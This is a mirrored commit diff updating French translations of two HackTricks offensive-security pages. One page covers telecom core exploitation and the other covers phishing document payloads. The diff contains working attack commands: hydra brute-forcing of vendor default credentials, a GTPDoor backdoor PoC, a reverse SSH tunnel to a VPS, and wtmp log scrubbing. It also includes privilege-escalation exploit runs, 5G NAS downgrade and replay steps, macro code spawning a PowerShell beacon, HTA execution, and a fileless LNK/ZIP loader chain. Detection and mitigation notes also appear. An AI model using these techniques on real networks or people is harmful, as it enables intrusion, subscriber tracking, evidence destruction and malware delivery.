mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
22568d783f
commit
0566806977
@ -1,27 +1,27 @@
|
||||
# Exploitation des réseaux télécoms (GTP / environnements d'itinérance)
|
||||
# Exploitation de réseaux télécom (GTP / environnements de roaming)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP non chiffré avec presque aucune authentification, **toute présence initiale à l'intérieur du périmètre télécom peut généralement atteindre directement les plans de signalisation core**. Les notes suivantes rassemblent des astuces offensives observées en conditions réelles contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
|
||||
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur**. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.
|
||||
|
||||
## 1. Recon & accès initial
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Comptes OSS / NE par défaut
|
||||
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une wordlist dédiée augmente fortement le succès des attaques par force brute:
|
||||
Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Un wordlist dédié augmente drastiquement le succès du brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Si l'appareil n'expose qu'une VRF de gestion, pivotez d'abord via un jump host (voir la section «SGSN Emu Tunnel» ci-dessous).
|
||||
Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous).
|
||||
|
||||
### 1.2 Découverte d'hôtes dans GRX/IPX
|
||||
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les services GTP-C à l'écoute:
|
||||
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les probes UDP `gtpv1` intégrées pour cartographier rapidement les listeners GTP-C :
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Énumération des abonnés – `cordscan`
|
||||
|
||||
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l'abonné.
|
||||
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l’abonné.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Options clés:
|
||||
Options clés :
|
||||
- `--imsi` IMSI de l'abonné cible
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Écrit les paquets bruts dans un pcap
|
||||
- `-w` Écrire les paquets bruts dans un pcap
|
||||
|
||||
Des constantes importantes dans le binaire peuvent être patchées pour élargir les scans:
|
||||
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans :
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Exécution de code sur GTP – `GTPDoor`
|
||||
## 3. Exécution de code via GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la payload commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Le stdout et le stderr sont exfiltrés dans des messages **Echo Response** afin qu'aucune session sortante ne soit jamais créée.
|
||||
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante ne soit créée.
|
||||
|
||||
Paquet PoC minimal (Python):
|
||||
```python
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Détection :
|
||||
* tout hôte envoyant des **Echo Requests déséquilibrées** vers les adresses IP du SGSN
|
||||
* bit de version GTP mis à 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
|
||||
* tout hôte envoyant des **unbalanced Echo Requests** aux IPs SGSN
|
||||
* GTP version flag réglé sur 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
|
||||
|
||||
## 4. Pivoting à travers le cœur du réseau
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le peer en roaming.
|
||||
`OsmoGGSN` fournit un émulateur SGSN capable de **establish a PDP context towards a real GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Avec un hair-pinning de firewall approprié, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
|
||||
Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Vérifier que `GatewayPorts yes` est activé sur le VPS.
|
||||
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
|
||||
|
||||
## 5. Canaux cachés
|
||||
|
||||
| Canal | Transport | Décodage | Remarques |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | écoute entièrement passive, aucun trafic sortant |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets des enregistrements A | surveille le sous-domaine `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se fond dans le trafic GTP-C légitime |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écoute purement passive, pas de trafic sortant |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans un IE privé | se fond dans le trafic légitime GTP-C |
|
||||
|
||||
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaires et se relancent en cas de crash.
|
||||
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaries et se re-spawnent en cas de crash.
|
||||
|
||||
## 6. Aide-mémoire d'évasion des défenses
|
||||
## 6. Cheatsheet d'évasion des défenses
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -111,81 +111,81 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Conseil de nettoyage :
|
||||
Astuce de nettoyage :
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Tool Box
|
||||
## 8. Boîte à outils
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes.
|
||||
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivot SOCKS5 léger
|
||||
* `FRP` (≥0.37) : traversée NAT / pont d'assets
|
||||
* `Microsocks` + `ProxyChains` : pivot léger SOCKS5
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay
|
||||
|
||||
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à l'activation de la sécurité NAS par Security Mode Command/Complete, les messages initiaux ne sont ni authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque si vous pouvez observer ou altérer le trafic N2 (par ex. on-path à l'intérieur du core, rogue gNB, ou banc d'essai).
|
||||
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE envoie SUCI (SUPI chiffré) et capabilities.
|
||||
- Authentication: AMF/AUSF envoient RAND/AUTN ; l'UE renvoie RES*.
|
||||
- Security Mode Command/Complete: intégrité et chiffrement NAS sont négociés et activés.
|
||||
- PDU Session Establishment: configuration IP/QoS.
|
||||
Registration flow (simplifié) :
|
||||
- Registration Request : UE envoie SUCI (SUPI chiffré) et capacités.
|
||||
- Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*.
|
||||
- Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés.
|
||||
- PDU Session Establishment : configuration IP/QoS.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core : le déploiement par défaut d'Open5GS suffit pour reproduire les flows.
|
||||
- UE : simulateur ou UE de test ; décoder avec Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS à la volée sans lancer un rogue gNB complet).
|
||||
- Useful display filters in Wireshark:
|
||||
- `ngap.procedure_code == 15` (InitialUEMessage)
|
||||
- `nas_5g.message_type == 65` or `nas-5gs.message_type == 65` (Registration Request)
|
||||
Conseils de configuration de laboratoire (non-RF) :
|
||||
- Core : un déploiement par défaut Open5GS suffit pour reproduire les flows.
|
||||
- UE : simulateur ou UE de test ; décodage avec Wireshark.
|
||||
- Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtres d'affichage utiles dans Wireshark :
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le suivi persistant d'un abonné.
|
||||
### 9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI
|
||||
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés.
|
||||
|
||||
Comment tester :
|
||||
- Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
|
||||
- Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE.
|
||||
- Vérifications rapides dans Wireshark :
|
||||
- Il doit décoder en SUCI, pas en IMSI.
|
||||
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` devrait exister ; absence conjuguée à la présence de `imsi` indique une fuite.
|
||||
- Il doit être décodé comme SUCI, pas IMSI.
|
||||
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` doit exister ; l'absence de celui-ci avec la présence de `imsi` indique une fuite.
|
||||
|
||||
Quoi collecter :
|
||||
- MCC/MNC/MSIN s'ils sont exposés ; journaliser par UE et suivre dans le temps/les emplacements.
|
||||
Que collecter :
|
||||
- MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements.
|
||||
|
||||
Atténuation :
|
||||
- Imposer des UE/USIM n'acceptant que SUCI ; alerter sur toute IMSI/SUPI dans le NAS initial.
|
||||
- Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
### 9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0)
|
||||
Contexte :
|
||||
- L'UE annonce les EEA (encryption) et EIA (integrity) supportés dans l'IE UE Security Capability de la Registration Request.
|
||||
- Mappages courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
|
||||
- L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request.
|
||||
- Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
|
||||
|
||||
Problème :
|
||||
- Parce que la Registration Request n'est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection de EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent à tort les algorithmes nuls en dehors des services d'urgence.
|
||||
- Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence.
|
||||
|
||||
Étapes offensives :
|
||||
- Intercepter l'InitialUEMessage et modifier le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
|
||||
- Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant de le forwarder.
|
||||
- Observer si l'AMF accepte des chiffrements/intégrité nuls et complète le Security Mode avec EEA0/EIA0.
|
||||
- Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
|
||||
- Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer.
|
||||
- Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0.
|
||||
|
||||
Vérification/visibilité :
|
||||
- Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
|
||||
- Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete.
|
||||
- Exemple de sortie d'un sniffer passif :
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Atténuations (obligatoires) :
|
||||
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandaté (p.ex., appels d'urgence).
|
||||
- Privilégier l'application d'EEA2/EIA2 au minimum ; consigner et déclencher des alertes pour tout contexte de sécurité NAS qui négocie null algorithms.
|
||||
Mesures d'atténuation (obligatoires) :
|
||||
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence).
|
||||
- Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (NAS pré-sécurité)
|
||||
Parce que le NAS initial manque d'intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être replayed vers l'AMF.
|
||||
### 9.3 Rejeu de la Registration Request initiale (NAS non sécurisé)
|
||||
Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF.
|
||||
|
||||
Règle PoC pour 5GReplay afin de transférer les replays correspondants :
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -209,33 +209,33 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</beginning>
|
||||
```
|
||||
À observer :
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
- Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.
|
||||
|
||||
Mitigations :
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
- Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
### 9.4 Conseils d'outillage (reproductible)
|
||||
- Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
|
||||
- Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler la Registration.
|
||||
- 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle.
|
||||
- Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
### 9.5 Checklist défensive
|
||||
- Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
|
||||
- Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
|
||||
- Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus.
|
||||
- Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage.
|
||||
|
||||
---
|
||||
## Idées de détection
|
||||
1. **Tout device autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
|
||||
2. **Ports non standards (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
|
||||
3. **Echo Requests fréquents sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
|
||||
1. **Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
|
||||
2. **Ports non standard (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
|
||||
3. **Echo Requests fréquentes sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
|
||||
4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
|
||||
5. 5G : **InitialUEMessage portant des NAS Registration Requests répétés depuis les mêmes endpoints** (signal de replay).
|
||||
5. 5G : **InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques** (signal de replay).
|
||||
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
|
@ -2,32 +2,32 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Documents
|
||||
## Documents Office
|
||||
|
||||
Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est effectuée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||||
Microsoft Word effectue une validation des données du fichier avant de l'ouvrir. La validation des données se fait par identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||||
|
||||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout leur capacité d'exécution des macros.\
|
||||
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et pourra exécuter des macros.\
|
||||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant son extension et de conserver malgré tout la capacité d'exécution des macros.\
|
||||
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et sera capable d'exécuter des macros.\
|
||||
Les mêmes mécanismes internes s'appliquent à tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office :
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Les fichiers DOCX référencant un modèle distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent également « exécuter » des macros.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### Chargement d'image externe
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Catégories** : Links and References, **Filed names** : includePicture, et **Nom de fichier ou URL** :_ http://<ip>/whatever
|
||||
Aller à : _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, et **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Porte dérobée de macros
|
||||
### Macros Backdoor
|
||||
|
||||
Il est possible d'utiliser des macros pour exécuter du code arbitraire depuis le document.
|
||||
|
||||
#### Fonctions d'autoload
|
||||
#### Fonctions d'autochargement
|
||||
|
||||
Plus elles sont courantes, plus il est probable que l'AV les détecte.
|
||||
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Manually remove metadata
|
||||
#### Supprimer manuellement les métadonnées
|
||||
|
||||
Allez dans **File > Info > Inspect Document > Inspect Document**, ce qui ouvrira le Document Inspector. Cliquez sur **Inspect** puis sur **Remove All** à côté de **Document Properties and Personal Information**.
|
||||
|
||||
#### Doc Extension
|
||||
#### Extension du document
|
||||
|
||||
Lorsque terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\
|
||||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il existe un **stigma** **autour** de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certains web/email gateway les bloquent entièrement). Par conséquent, cette **extension legacy `.doc` est le meilleur compromis**.
|
||||
Une fois terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\\
|
||||
Faites cela parce que vous **can't save macro's inside a `.docx`** et qu'il existe une **stigmatisation** autour de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certaines passerelles web/email les bloquent complètement). Par conséquent, cette **extension `.doc` héritée est le meilleur compromis**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### Générateurs de macros malveillantes
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Files
|
||||
## Fichiers HTA
|
||||
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
Un HTA est un programme Windows qui **combine HTML et des langages de script (tels que VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute en tant qu'application "fully trusted", sans les contraintes du modèle de sécurité d'un navigateur.
|
||||
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
|
||||
Un HTA est exécuté via **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dependant on IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forcing NTLM Authentication
|
||||
## Forcer l'authentification NTLM
|
||||
|
||||
Il existe plusieurs manières de **forcer l'authentification NTLM « à distance »**, par exemple en ajoutant des **images invisibles** dans des e-mails ou du HTML que l'utilisateur ouvrira (même via un MitM HTTP ?). Ou envoyer à la victime l'**adresse de fichiers** qui vont **déclencher** une **authentification** rien qu'en **ouvrant le dossier.**
|
||||
Il existe plusieurs manières de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux emails ou à du HTML que l'utilisateur ouvrira (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui **déclenchera** une **authentification** rien qu'en **ouvrant le dossier.**
|
||||
|
||||
**Consultez ces idées et d'autres sur les pages suivantes :**
|
||||
**Consultez ces idées et d'autres dans les pages suivantes :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,20 +156,20 @@ Il existe plusieurs manières de **forcer l'authentification NTLM « à distance
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi réaliser des NTLM relay attacks :
|
||||
N'oubliez pas que vous pouvez non seulement voler le hash ou l'authentification, mais aussi effectuer des **NTLM relay attacks** :
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Des campagnes très efficaces distribuent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le PowerShell loader réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire.
|
||||
Les campagnes très efficaces livrent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le loader PowerShell réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire.
|
||||
|
||||
Flux typique mis en œuvre par le one-liner PowerShell du .lnk :
|
||||
Flux typique mis en œuvre par la one-liner PowerShell du .lnk :
|
||||
|
||||
1) Localiser le ZIP original dans les chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant.
|
||||
2) Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est le payload PowerShell embarqué.
|
||||
